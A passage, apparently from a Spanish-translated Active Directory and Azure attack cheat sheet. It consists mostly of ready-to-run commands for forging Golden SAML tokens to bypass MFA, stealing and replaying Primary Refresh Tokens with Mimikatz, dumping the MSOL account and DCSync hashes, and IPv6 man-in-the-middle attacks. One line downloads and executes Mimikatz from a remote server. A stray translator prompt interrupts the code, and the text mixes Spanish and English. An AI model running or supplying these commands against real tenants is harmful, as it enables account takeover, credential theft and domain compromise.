- 3. Pasar el token Golden SAML al portal de Microsoft Azure
- 4. Iniciar sesión en el portal de Azure como cualquier usuario mientras se evaden las configuraciones de Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### Manipulación de PRT

#### PassThePRT

*verificar el estado de AzureAdJoined y descargar Mimikatz:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*Buscando **prt** y **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*use **APKD function** to decode **KeyValue** and save **"Context"** and **"DerivedKey"** value:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
Please provide the Markdown content to translate.```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
*Forjar PRT-Cookie usando [lantern](https://github.com/ConstantinT/Lantern):*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Generar JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### Cuenta de Servicio MSOL

> puedes volcar la cuenta de servicio MSOL con [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) utilizada por Azure AD Connect Sync y lanzar un ataque DCsync con las credenciales volcadas

*DCSync con la cuenta MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Varios

### Atributo de nivel de dominio

#### Explotación de MachineAccountQuota (MAQ)

use crackmapexec (CME) con el módulo maq :

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### Abusando de IPv6 en AD

enviando paquete ICMPv6 al objetivo usando ping6 :

`ping6 -c 3 <target>`

escaneando dirección IPv6 usando nmap :

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`



consejos para adaptar herramientas para ipv6 :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
puedes reemplazar el valor de AF_INET por AF_INET6 de la librería socket de Python :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### DHCP Rogue

`mitm6 -i eth0 -d 'domain.job.local'`


#### Enumeración de Interfaces de IOXIDResolver

es un pequeño script que enumera direcciones en el campo NetworkAddr con el nivel [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## Referencias

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml